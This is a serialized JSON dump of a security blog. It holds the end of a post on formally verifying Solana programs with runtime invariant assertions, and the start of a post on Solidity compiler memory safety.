my_account",{"type":24,"tag":158,"props":29328,"children":29329},{"style":222},[29330],{"type":29,"value":225},{"type":24,"tag":158,"props":29332,"children":29333},{"style":171},[29334],{"type":29,"value":24339},{"type":24,"tag":158,"props":29336,"children":29337},{"style":188},[29338],{"type":29,"value":24167},{"type":24,"tag":158,"props":29340,"children":29341},{"style":171},[29342],{"type":29,"value":24172},{"type":24,"tag":158,"props":29344,"children":29345},{"style":188},[29346],{"type":29,"value":191},{"type":24,"tag":158,"props":29348,"children":29349},{"style":171},[29350],{"type":29,"value":29351},"Acc",{"type":24,"tag":158,"props":29353,"children":29354},{"style":188},[29355],{"type":29,"value":7642},{"type":24,"tag":158,"props":29357,"children":29358},{"class":160,"line":280},[29359],{"type":24,"tag":158,"props":29360,"children":29361},{"style":188},[29362],{"type":29,"value":307},{"type":24,"tag":158,"props":29364,"children":29365},{"class":160,"line":301},[29366],{"type":24,"tag":158,"props":29367,"children":29368},{"emptyLinePlaceholder":16},[29369],{"type":29,"value":481},{"type":24,"tag":158,"props":29371,"children":29372},{"class":160,"line":626},[29373],{"type":24,"tag":158,"props":29374,"children":29375},{"style":188},[29376],{"type":29,"value":22014},{"type":24,"tag":158,"props":29378,"children":29379},{"class":160,"line":668},[29380,29385,29389],{"type":24,"tag":158,"props":29381,"children":29382},{"style":188},[29383],{"type":29,"value":29384},"#[invariant(bad ",{"type":24,"tag":158,"props":29386,"children":29387},{"style":222},[29388],{"type":29,"value":1034},{"type":24,"tag":158,"props":29390,"children":29391},{"style":188},[29392],{"type":29,"value":29393}," false)]\n",{"type":24,"tag":158,"props":29395,"children":29396},{"class":160,"line":676},[29397,29401,29406],{"type":24,"tag":158,"props":29398,"children":29399},{"style":165},[29400],{"type":29,"value":168},{"type":24,"tag":158,"props":29402,"children":29403},{"style":171},[29404],{"type":29,"value":29405}," Acc",{"type":24,"tag":158,"props":29407,"children":29408},{"style":188},[29409],{"type":29,"value":210},{"type":24,"tag":158,"props":29411,"children":29412},{"class":160,"line":684},[29413,29417,29422,29426],{"type":24,"tag":158,"props":29414,"children":29415},{"style":165},[29416],{"type":29,"value":22087},{"type":24,"tag":158,"props":29418,"children":29419},{"style":177},[29420],{"type":29,"value":29421}," bad",{"type":24,"tag":158,"props":29423,"children":29424},{"style":222},[29425],{"type":29,"value":225},{"type":24,"tag":158,"props":29427,"children":29428},{"style":171},[29429],{"type":29,"value":29430}," bool\n",{"type":24,"tag":158,"props":29432,"children":29433},{"class":160,"line":700},[29434],{"type":24,"tag":158,"props":29435,"children":29436},{"style":188},[29437],{"type":29,"value":307},{"type":24,"tag":158,"props":29439,"children":29440},{"class":160,"line":785},[29441],{"type":24,"tag":158,"props":29442,"children":29443},{"emptyLinePlaceholder":16},[29444],{"type":29,"value":481},{"type":24,"tag":158,"props":29446,"children":29447},{"class":160,"line":1447},[29448,29453,29457],{"type":24,"tag":158,"props":29449,"children":29450},{"style":165},[29451],{"type":29,"value":29452},"impl",{"type":24,"tag":158,"props":29454,"children":29455},{"style":171},[29456],{"type":29,"value":29405},{"type":24,"tag":158,"props":29458,"children":29459},{"style":188},[29460],{"type":29,"value":210},{"type":24,"tag":158,"props":29462,"children":29463},{"class":160,"line":1509},[29464,29468,29472,29477],{"type":24,"tag":158,"props":29465,"children":29466},{"style":165},[29467],{"type":29,"value":22087},{"type":24,"tag":158,"props":29469,"children":29470},{"style":165},[29471],{"type":29,"value":14929},{"type":24,"tag":158,"props":29473,"children":29474},{"style":496},[29475],{"type":29,"value":29476}," put_into_bad_state",{"type":24,"tag":158,"props":29478,"children":29479},{"style":188},[29480],{"type":29,"value":16972},{"type":24,"tag":158,"props":29482,"children":29483},{"class":160,"line":1527},[29484,29488,29492,29497,29501,29505],{"type":24,"tag":158,"props":29485,"children":29486},{"style":165},[29487],{"type":29,"value":28617},{"type":24,"tag":158,"props":29489,"children":29490},{"style":222},[29491],{"type":29,"value":347},{"type":24,"tag":158,"props":29493,"children":29494},{"style":188},[29495],{"type":29,"value":29496},"bad ",{"type":24,"tag":158,"props":29498,"children":29499},{"style":222},[29500],{"type":29,"value":1285},{"type":24,"tag":158,"props":29502,"children":29503},{"style":165},[29504],{"type":29,"value":3354},{"type":24,"tag":158,"props":29506,"children":29507},{"style":188},[29508],{"type":29,"value":473},{"type":24,"tag":158,"props":29510,"children":29511},{"class":160,"line":1545},[29512],{"type":24,"tag":158,"props":29513,"children":29514},{"style":188},[29515],{"type":29,"value":3967},{"type":24,"tag":158,"props":29517,"children":29518},{"class":160,"line":1618},[29519],{"type":24,"tag":158,"props":29520,"children":29521},{"style":188},[29522],{"type":29,"value":307},{"type":24,"tag":158,"props":29524,"children":29525},{"class":160,"line":1635},[29526],{"type":24,"tag":158,"props":29527,"children":29528},{"emptyLinePlaceholder":16},[29529],{"type":29,"value":481},{"type":24,"tag":158,"props":29531,"children":29532},{"class":160,"line":1644},[29533],{"type":24,"tag":158,"props":29534,"children":29535},{"style":2588},[29536],{"type":29,"value":29537},"// Instruction handler:\n",{"type":24,"tag":158,"props":29539,"children":29540},{"class":160,"line":1652},[29541,29545,29550,29554,29558,29562,29566,29570,29575,29579,29583,29587],{"type":24,"tag":158,"props":29542,"children":29543},{"style":165},[29544],{"type":29,"value":21510},{"type":24,"tag":158,"props":29546,"children":29547},{"style":496},[29548],{"type":29,"value":29549}," hard_to_verify",{"type":24,"tag":158,"props":29551,"children":29552},{"style":188},[29553],{"type":29,"value":504},{"type":24,"tag":158,"props":29555,"children":29556},{"style":177},[29557],{"type":29,"value":21524},{"type":24,"tag":158,"props":29559,"children":29560},{"style":222},[29561],{"type":29,"value":225},{"type":24,"tag":158,"props":29563,"children":29564},{"style":171},[29565],{"type":29,"value":21533},{"type":24,"tag":158,"props":29567,"children":29568},{"style":188},[29569],{"type":29,"value":3760},{"type":24,"tag":158,"props":29571,"children":29572},{"style":171},[29573],{"type":29,"value":29574},"MyCtx",{"type":24,"tag":158,"props":29576,"children":29577},{"style":188},[29578],{"type":29,"value":21690},{"type":24,"tag":158,"props":29580,"children":29581},{"style":222},[29582],{"type":29,"value":14991},{"type":24,"tag":158,"props":29584,"children":29585},{"style":171},[29586],{"type":29,"value":14996},{"type":24,"tag":158,"props":29588,"children":29589},{"style":188},[29590],{"type":29,"value":21575},{"type":24,"tag":158,"props":29592,"children":29593},{"class":160,"line":1704},[29594,29599,29603,29607,29612],{"type":24,"tag":158,"props":29595,"children":29596},{"style":496},[29597],{"type":29,"value":29598}," invoke_signed",{"type":24,"tag":158,"props":29600,"children":29601},{"style":188},[29602],{"type":29,"value":504},{"type":24,"tag":158,"props":29604,"children":29605},{"style":222},[29606],{"type":29,"value":377},{"type":24,"tag":158,"props":29608,"children":29609},{"style":188},[29610],{"type":29,"value":29611},"); ",{"type":24,"tag":158,"props":29613,"children":29614},{"style":2588},[29615],{"type":29,"value":29616},"// Cross-program invocation\n",{"type":24,"tag":158,"props":29618,"children":29619},{"class":160,"line":1713},[29620],{"type":24,"tag":158,"props":29621,"children":29622},{"emptyLinePlaceholder":16},[29623],{"type":29,"value":481},{"type":24,"tag":158,"props":29625,"children":29626},{"class":160,"line":1731},[29627,29631,29636,29640,29644,29648],{"type":24,"tag":158,"props":29628,"children":29629},{"style":165},[29630],{"type":29,"value":2710},{"type":24,"tag":158,"props":29632,"children":29633},{"style":177},[29634],{"type":29,"value":29635}," invoke_res",{"type":24,"tag":158,"props":29637,"children":29638},{"style":222},[29639],{"type":29,"value":462},{"type":24,"tag":158,"props":29641,"children":29642},{"style":222},[29643],{"type":29,"value":26556},{"type":24,"tag":158,"props":29645,"children":29646},{"style":188},[29647],{"type":29,"value":18465},{"type":24,"tag":158,"props":29649,"children":29650},{"style":2588},[29651],{"type":29,"value":29652},"// fetch result of invocation\n",{"type":24,"tag":158,"props":29654,"children":29655},{"class":160,"line":5485},[29656,29660,29664,29668,29673],{"type":24,"tag":158,"props":29657,"children":29658},{"style":1914},[29659],{"type":29,"value":3160},{"type":24,"tag":158,"props":29661,"children":29662},{"style":177},[29663],{"type":29,"value":29635},{"type":24,"tag":158,"props":29665,"children":29666},{"style":222},[29667],{"type":29,"value":3175},{"type":24,"tag":158,"props":29669,"children":29670},{"style":465},[29671],{"type":29,"value":29672}," 5",{"type":24,"tag":158,"props":29674,"children":29675},{"style":188},[29676],{"type":29,"value":210},{"type":24,"tag":158,"props":29678,"children":29679},{"class":160,"line":5493},[29680,29684,29688,29693,29697,29702,29707],{"type":24,"tag":158,"props":29681,"children":29682},{"style":177},[29683],{"type":29,"value":27443},{"type":24,"tag":158,"props":29685,"children":29686},{"style":222},[29687],{"type":29,"value":347},{"type":24,"tag":158,"props":29689,"children":29690},{"style":188},[29691],{"type":29,"value":29692},"my_account",{"type":24,"tag":158,"props":29694,"children":29695},{"style":222},[29696],{"type":29,"value":347},{"type":24,"tag":158,"props":29698,"children":29699},{"style":496},[29700],{"type":29,"value":29701},"put_into_bad_state",{"type":24,"tag":158,"props":29703,"children":29704},{"style":188},[29705],{"type":29,"value":29706},"(); ",{"type":24,"tag":158,"props":29708,"children":29709},{"style":2588},[29710],{"type":29,"value":29711},"// corrupt our account\n",{"type":24,"tag":158,"props":29713,"children":29714},{"class":160,"line":5553},[29715],{"type":24,"tag":158,"props":29716,"children":29717},{"style":188},[29718],{"type":29,"value":3967},{"type":24,"tag":158,"props":29720,"children":29721},{"class":160,"line":10636},[29722,29726],{"type":24,"tag":158,"props":29723,"children":29724},{"style":171},[29725],{"type":29,"value":15567},{"type":24,"tag":158,"props":29727,"children":29728},{"style":188},[29729],{"type":29,"value":15572},{"type":24,"tag":158,"props":29731,"children":29732},{"class":160,"line":10652},[29733],{"type":24,"tag":158,"props":29734,"children":29735},{"style":188},[29736],{"type":29,"value":307},{"type":24,"tag":25,"props":29738,"children":29739},{},[29740,29742,29747],{"type":29,"value":29741},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":24,"tag":154,"props":29743,"children":29745},{"className":29744},[],[29746],{"type":29,"value":29692},{"type":29,"value":29748},") will be maintained as long as the instruction succeeds.",{"type":24,"tag":25,"props":29750,"children":29751},{},[29752],{"type":29,"value":29753},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":24,"tag":25,"props":29755,"children":29756},{},[29757,29759,29764],{"type":29,"value":29758},"However, we can ",{"type":24,"tag":32,"props":29760,"children":29761},{},[29762],{"type":29,"value":29763},"augment",{"type":29,"value":29765}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":24,"tag":25,"props":29767,"children":29768},{},[29769],{"type":29,"value":29770},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":24,"tag":147,"props":29772,"children":29774},{"code":29773,"language":150,"meta":7,"className":151,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n\n // Enforce invariants at runtime\n assert(ctx.my_account.invariant());\n\n Ok(())\n}\n",[29775],{"type":24,"tag":154,"props":29776,"children":29777},{"__ignoreMap":7},[29778,29786,29837,29860,29867,29894,29917,29948,29955,29962,29970,30005,30012,30023],{"type":24,"tag":158,"props":29779,"children":29780},{"class":160,"line":161},[29781],{"type":24,"tag":158,"props":29782,"children":29783},{"style":222},[29784],{"type":29,"value":29785},"...\n",{"type":24,"tag":158,"props":29787,"children":29788},{"class":160,"line":213},[29789,29793,29797,29801,29805,29809,29813,29817,29821,29825,29829,29833],{"type":24,"tag":158,"props":29790,"children":29791},{"style":165},[29792],{"type":29,"value":21510},{"type":24,"tag":158,"props":29794,"children":29795},{"style":496},[29796],{"type":29,"value":29549},{"type":24,"tag":158,"props":29798,"children":29799},{"style":188},[29800],{"type":29,"value":504},{"type":24,"tag":158,"props":29802,"children":29803},{"style":177},[29804],{"type":29,"value":21524},{"type":24,"tag":158,"props":29806,"children":29807},{"style":222},[29808],{"type":29,"value":225},{"type":24,"tag":158,"props":29810,"children":29811},{"style":171},[29812],{"type":29,"value":21533},{"type":24,"tag":158,"props":29814,"children":29815},{"style":188},[29816],{"type":29,"value":3760},{"type":24,"tag":158,"props":29818,"children":29819},{"style":171},[29820],{"type":29,"value":29574},{"type":24,"tag":158,"props":29822,"children":29823},{"style":188},[29824],{"type":29,"value":21690},{"type":24,"tag":158,"props":29826,"children":29827},{"style":222},[29828],{"type":29,"value":14991},{"type":24,"tag":158,"props":29830,"children":29831},{"style":171},[29832],{"type":29,"value":14996},{"type":24,"tag":158,"props":29834,"children":29835},{"style":188},[29836],{"type":29,"value":21575},{"type":24,"tag":158,"props":29838,"children":29839},{"class":160,"line":238},[29840,29844,29848,29852,29856],{"type":24,"tag":158,"props":29841,"children":29842},{"style":496},[29843],{"type":29,"value":29598},{"type":24,"tag":158,"props":29845,"children":29846},{"style":188},[29847],{"type":29,"value":504},{"type":24,"tag":158,"props":29849,"children":29850},{"style":222},[29851],{"type":29,"value":377},{"type":24,"tag":158,"props":29853,"children":29854},{"style":188},[29855],{"type":29,"value":29611},{"type":24,"tag":158,"props":29857,"children":29858},{"style":2588},[29859],{"type":29,"value":29616},{"type":24,"tag":158,"props":29861,"children":29862},{"class":160,"line":259},[29863],{"type":24,"tag":158,"props":29864,"children":29865},{"emptyLinePlaceholder":16},[29866],{"type":29,"value":481},{"type":24,"tag":158,"props":29868,"children":29869},{"class":160,"line":280},[29870,29874,29878,29882,29886,29890],{"type":24,"tag":158,"props":29871,"children":29872},{"style":165},[29873],{"type":29,"value":2710},{"type":24,"tag":158,"props":29875,"children":29876},{"style":177},[29877],{"type":29,"value":29635},{"type":24,"tag":158,"props":29879,"children":29880},{"style":222},[29881],{"type":29,"value":462},{"type":24,"tag":158,"props":29883,"children":29884},{"style":222},[29885],{"type":29,"value":26556},{"type":24,"tag":158,"props":29887,"children":29888},{"style":188},[29889],{"type":29,"value":18465},{"type":24,"tag":158,"props":29891,"children":29892},{"style":2588},[29893],{"type":29,"value":29652},{"type":24,"tag":158,"props":29895,"children":29896},{"class":160,"line":301},[29897,29901,29905,29909,29913],{"type":24,"tag":158,"props":29898,"children":29899},{"style":1914},[29900],{"type":29,"value":3160},{"type":24,"tag":158,"props":29902,"children":29903},{"style":177},[29904],{"type":29,"value":29635},{"type":24,"tag":158,"props":29906,"children":29907},{"style":222},[29908],{"type":29,"value":3175},{"type":24,"tag":158,"props":29910,"children":29911},{"style":465},[29912],{"type":29,"value":29672},{"type":24,"tag":158,"props":29914,"children":29915},{"style":188},[29916],{"type":29,"value":210},{"type":24,"tag":158,"props":29918,"children":29919},{"class":160,"line":626},[29920,29924,29928,29932,29936,29940,29944],{"type":24,"tag":158,"props":29921,"children":29922},{"style":177},[29923],{"type":29,"value":27443},{"type":24,"tag":158,"props":29925,"children":29926},{"style":222},[29927],{"type":29,"value":347},{"type":24,"tag":158,"props":29929,"children":29930},{"style":188},[29931],{"type":29,"value":29692},{"type":24,"tag":158,"props":29933,"children":29934},{"style":222},[29935],{"type":29,"value":347},{"type":24,"tag":158,"props":29937,"children":29938},{"style":496},[29939],{"type":29,"value":29701},{"type":24,"tag":158,"props":29941,"children":29942},{"style":188},[29943],{"type":29,"value":29706},{"type":24,"tag":158,"props":29945,"children":29946},{"style":2588},[29947],{"type":29,"value":29711},{"type":24,"tag":158,"props":29949,"children":29950},{"class":160,"line":668},[29951],{"type":24,"tag":158,"props":29952,"children":29953},{"style":188},[29954],{"type":29,"value":3967},{"type":24,"tag":158,"props":29956,"children":29957},{"class":160,"line":676},[29958],{"type":24,"tag":158,"props":29959,"children":29960},{"emptyLinePlaceholder":16},[29961],{"type":29,"value":481},{"type":24,"tag":158,"props":29963,"children":29964},{"class":160,"line":684},[29965],{"type":24,"tag":158,"props":29966,"children":29967},{"style":2588},[29968],{"type":29,"value":29969}," // Enforce invariants at runtime\n",{"type":24,"tag":158,"props":29971,"children":29972},{"class":160,"line":700},[29973,29977,29981,29985,29989,29993,29997,30001],{"type":24,"tag":158,"props":29974,"children":29975},{"style":496},[29976],{"type":29,"value":20482},{"type":24,"tag":158,"props":29978,"children":29979},{"style":188},[29980],{"type":29,"value":504},{"type":24,"tag":158,"props":29982,"children":29983},{"style":177},[29984],{"type":29,"value":21524},{"type":24,"tag":158,"props":29986,"children":29987},{"style":222},[29988],{"type":29,"value":347},{"type":24,"tag":158,"props":29990,"children":29991},{"style":188},[29992],{"type":29,"value":29692},{"type":24,"tag":158,"props":29994,"children":29995},{"style":222},[29996],{"type":29,"value":347},{"type":24,"tag":158,"props":29998,"children":29999},{"style":496},[30000],{"type":29,"value":23022},{"type":24,"tag":158,"props":30002,"children":30003},{"style":188},[30004],{"type":29,"value":16660},{"type":24,"tag":158,"props":30006,"children":30007},{"class":160,"line":785},[30008],{"type":24,"tag":158,"props":30009,"children":30010},{"emptyLinePlaceholder":16},[30011],{"type":29,"value":481},{"type":24,"tag":158,"props":30013,"children":30014},{"class":160,"line":1447},[30015,30019],{"type":24,"tag":158,"props":30016,"children":30017},{"style":171},[30018],{"type":29,"value":15567},{"type":24,"tag":158,"props":30020,"children":30021},{"style":188},[30022],{"type":29,"value":15572},{"type":24,"tag":158,"props":30024,"children":30025},{"class":160,"line":1509},[30026],{"type":24,"tag":158,"props":30027,"children":30028},{"style":188},[30029],{"type":29,"value":307},{"type":24,"tag":25,"props":30031,"children":30032},{},[30033,30035,30040,30042,30047,30049,30054],{"type":29,"value":30034},"Here, we explicitly ",{"type":24,"tag":154,"props":30036,"children":30038},{"className":30037},[],[30039],{"type":29,"value":21227},{"type":29,"value":30041}," that our invariants hold at ",{"type":24,"tag":32,"props":30043,"children":30044},{},[30045],{"type":29,"value":30046},"runtime",{"type":29,"value":30048}," which allows us to be assured that ",{"type":24,"tag":154,"props":30050,"children":30052},{"className":30051},[],[30053],{"type":29,"value":29692},{"type":29,"value":30055}," will not enter a bad state as a result of some unverifiable behavior.",{"type":24,"tag":25,"props":30057,"children":30058},{},[30059],{"type":29,"value":30060},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":24,"tag":59,"props":30062,"children":30064},{"id":30063},"challenges-of-formal-verification-on-solana",[30065],{"type":29,"value":30066},"Challenges of formal verification on Solana",{"type":24,"tag":395,"props":30068,"children":30070},{"id":30069},"expensive-computation",[30071],{"type":29,"value":30072},"Expensive computation",{"type":24,"tag":25,"props":30074,"children":30075},{},[30076,30078,30083],{"type":29,"value":30077},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":24,"tag":32,"props":30079,"children":30080},{},[30081],{"type":29,"value":30082},"path explosion",{"type":29,"value":30084},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":24,"tag":25,"props":30086,"children":30087},{},[30088,30090,30095],{"type":29,"value":30089},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":24,"tag":32,"props":30091,"children":30092},{},[30093],{"type":29,"value":30094},"formal verification friendly",{"type":29,"value":30096},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":24,"tag":25,"props":30098,"children":30099},{},[30100,30102,30107,30109,30114],{"type":29,"value":30101},"For example, when verifying things like the uniqueness of a ",{"type":24,"tag":154,"props":30103,"children":30105},{"className":30104},[],[30106],{"type":29,"value":22642},{"type":29,"value":30108}," in a ",{"type":24,"tag":154,"props":30110,"children":30112},{"className":30111},[],[30113],{"type":29,"value":18449},{"type":29,"value":30115},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":24,"tag":25,"props":30117,"children":30118},{},[30119,30121,30126,30128,30133,30135,30140,30142,30147,30149,30154,30156,30161],{"type":29,"value":30120},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":24,"tag":154,"props":30122,"children":30124},{"className":30123},[],[30125],{"type":29,"value":18449},{"type":29,"value":30127}," or a 32-byte ",{"type":24,"tag":154,"props":30129,"children":30131},{"className":30130},[],[30132],{"type":29,"value":22642},{"type":29,"value":30134},". Instead, our tool can substitute in ",{"type":24,"tag":32,"props":30136,"children":30137},{},[30138],{"type":29,"value":30139},"cheaper",{"type":29,"value":30141}," types and functions, such as a 4-byte ",{"type":24,"tag":154,"props":30143,"children":30145},{"className":30144},[],[30146],{"type":29,"value":22642},{"type":29,"value":30148}," struct and a fixed-size, array-backed ",{"type":24,"tag":154,"props":30150,"children":30152},{"className":30151},[],[30153],{"type":29,"value":18449},{"type":29,"value":30155}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":24,"tag":32,"props":30157,"children":30158},{},[30159],{"type":29,"value":30160},"much",{"type":29,"value":30162}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":24,"tag":25,"props":30164,"children":30165},{},[30166],{"type":29,"value":30167},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":24,"tag":395,"props":30169,"children":30171},{"id":30170},"runtime-environment",[30172],{"type":29,"value":30173},"Runtime Environment",{"type":24,"tag":25,"props":30175,"children":30176},{},[30177],{"type":29,"value":30178},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":24,"tag":25,"props":30180,"children":30181},{},[30182],{"type":29,"value":30183},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":24,"tag":25,"props":30185,"children":30186},{},[30187],{"type":29,"value":30188},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":24,"tag":59,"props":30190,"children":30192},{"id":30191},"conclusion",[30193],{"type":29,"value":20189},{"type":24,"tag":25,"props":30195,"children":30196},{},[30197],{"type":29,"value":30198},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":24,"tag":25,"props":30200,"children":30201},{},[30202],{"type":29,"value":30203},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":24,"tag":20034,"props":30205,"children":30206},{},[],{"type":24,"tag":25,"props":30208,"children":30209},{},[30210],{"type":24,"tag":32,"props":30211,"children":30212},{},[30213,30215,30220,30221,30225],{"type":29,"value":30214},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":24,"tag":101,"props":30216,"children":30218},{"href":20117,"rel":30217},[105],[30219],{"type":29,"value":20121},{"type":29,"value":20123},{"type":24,"tag":101,"props":30222,"children":30223},{"href":20126},[30224],{"type":29,"value":20129},{"type":29,"value":347},{"type":24,"tag":4517,"props":30227,"children":30228},{},[30229],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":30231},[30232,30238,30242,30247,30253,30257],{"id":20192,"depth":213,"text":20195,"children":30233},[30234,30235,30236,30237],{"id":20198,"depth":238,"text":20201},{"id":20266,"depth":238,"text":20269},{"id":21147,"depth":238,"text":21150},{"id":21187,"depth":238,"text":21190},{"id":21240,"depth":213,"text":30239,"children":30240},"Specification: How can we describe what we want our program to do?",[30241],{"id":21354,"depth":238,"text":21357},{"id":22714,"depth":213,"text":22717,"children":30243},[30244,30245,30246],{"id":23391,"depth":238,"text":23394},{"id":23676,"depth":238,"text":23679},{"id":23820,"depth":238,"text":23823},{"id":23961,"depth":213,"text":23964,"children":30248},[30249,30250,30251,30252],{"id":24032,"depth":238,"text":24035},{"id":25895,"depth":238,"text":25898},{"id":26697,"depth":238,"text":24024},{"id":29223,"depth":238,"text":24029},{"id":30063,"depth":213,"text":30066,"children":30254},[30255,30256],{"id":30069,"depth":238,"text":30072},{"id":30170,"depth":238,"text":30173},{"id":30191,"depth":213,"text":20189},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":30262,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":30263,"description":30264,"author":10,"image":30265,"date":30267,"isFeatured":16,"onBlogPage":16,"tags":30268,"body":30270,"_type":4536,"_id":31690,"_source":4538,"_file":31691,"_stem":31692,"_extension":4541},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":30266,"height":14857,"width":14857},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[6133,30269],"compiler",{"type":21,"children":30271,"toc":31681},[30272,30278,30314,30326,30332,30354,30367,30515,30536,30541,30562,30567,30575,30580,30585,30590,30596,30615,30620,30641,30704,30717,30747,30767,30794,30799,30812,30817,30822,30835,30866,30889,31043,31061,31112,31131,31156,31161,31167,31194,31214,31242,31247,31269,31288,31296,31307,31312,31328,31585,31593,31598,31602,31607,31612,31677],{"type":24,"tag":59,"props":30273,"children":30275},{"id":30274},"introduction",[30276],{"type":29,"value":30277},"Introduction",{"type":24,"tag":25,"props":30279,"children":30280},{},[30281,30283,30289,30290,30294,30296,30303,30305,30312],{"type":29,"value":30282},"What does ",{"type":24,"tag":154,"props":30284,"children":30286},{"className":30285},[],[30287],{"type":29,"value":30288},"memory-safe",{"type":29,"value":8106},{"type":24,"tag":32,"props":30291,"children":30292},{},[30293],{"type":29,"value":43},{"type":29,"value":30295}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":24,"tag":101,"props":30297,"children":30300},{"href":30298,"rel":30299},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[105],[30301],{"type":29,"value":30302},"presents some requirements",{"type":29,"value":30304},", but is production code that ",{"type":24,"tag":101,"props":30306,"children":30309},{"href":30307,"rel":30308},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[105],[30310],{"type":29,"value":30311},"violates these requirements",{"type":29,"value":30313}," necessarily unsafe?",{"type":24,"tag":25,"props":30315,"children":30316},{},[30317,30319,30324],{"type":29,"value":30318},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":24,"tag":32,"props":30320,"children":30321},{},[30322],{"type":29,"value":30323},"memory-safety",{"type":29,"value":30325}," actually means.",{"type":24,"tag":59,"props":30327,"children":30329},{"id":30328},"compiler-pipeline",[30330],{"type":29,"value":30331},"Compiler Pipeline",{"type":24,"tag":25,"props":30333,"children":30334},{},[30335,30337,30344,30346,30353],{"type":29,"value":30336},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":24,"tag":101,"props":30338,"children":30341},{"href":30339,"rel":30340},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[105],[30342],{"type":29,"value":30343},"released in v0.8.13",{"type":29,"value":30345},". Compilation happens ",{"type":24,"tag":101,"props":30347,"children":30350},{"href":30348,"rel":30349},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[105],[30351],{"type":29,"value":30352},"in two main steps",{"type":29,"value":225},{"type":24,"tag":1786,"props":30355,"children":30356},{},[30357,30362],{"type":24,"tag":1790,"props":30358,"children":30359},{},[30360],{"type":29,"value":30361},"Solidity to YUL IR",{"type":24,"tag":1790,"props":30363,"children":30364},{},[30365],{"type":29,"value":30366},"YUL IR to EVM opcodes",{"type":24,"tag":147,"props":30368,"children":30372},{"className":30369,"code":30370,"language":30371,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark"," if (m_viaIR || m_generateIR || m_generateEwasm)\n generateIR(*contract);\n if (m_generateEvmBytecode)\n {\n if (m_viaIR)\n generateEVMFromIR(*contract);\n else\n compileContract(*contract, otherCompilers);\n }\n","cpp",[30373],{"type":24,"tag":154,"props":30374,"children":30375},{"__ignoreMap":7},[30376,30406,30427,30439,30447,30459,30479,30487,30508],{"type":24,"tag":158,"props":30377,"children":30378},{"class":160,"line":161},[30379,30383,30388,30392,30397,30401],{"type":24,"tag":158,"props":30380,"children":30381},{"style":1914},[30382],{"type":29,"value":3160},{"type":24,"tag":158,"props":30384,"children":30385},{"style":188},[30386],{"type":29,"value":30387}," (m_viaIR ",{"type":24,"tag":158,"props":30389,"children":30390},{"style":222},[30391],{"type":29,"value":23663},{"type":24,"tag":158,"props":30393,"children":30394},{"style":188},[30395],{"type":29,"value":30396}," m_generateIR ",{"type":24,"tag":158,"props":30398,"children":30399},{"style":222},[30400],{"type":29,"value":23663},{"type":24,"tag":158,"props":30402,"children":30403},{"style":188},[30404],{"type":29,"value":30405}," m_generateEwasm)\n",{"type":24,"tag":158,"props":30407,"children":30408},{"class":160,"line":213},[30409,30414,30418,30422],{"type":24,"tag":158,"props":30410,"children":30411},{"style":496},[30412],{"type":29,"value":30413}," 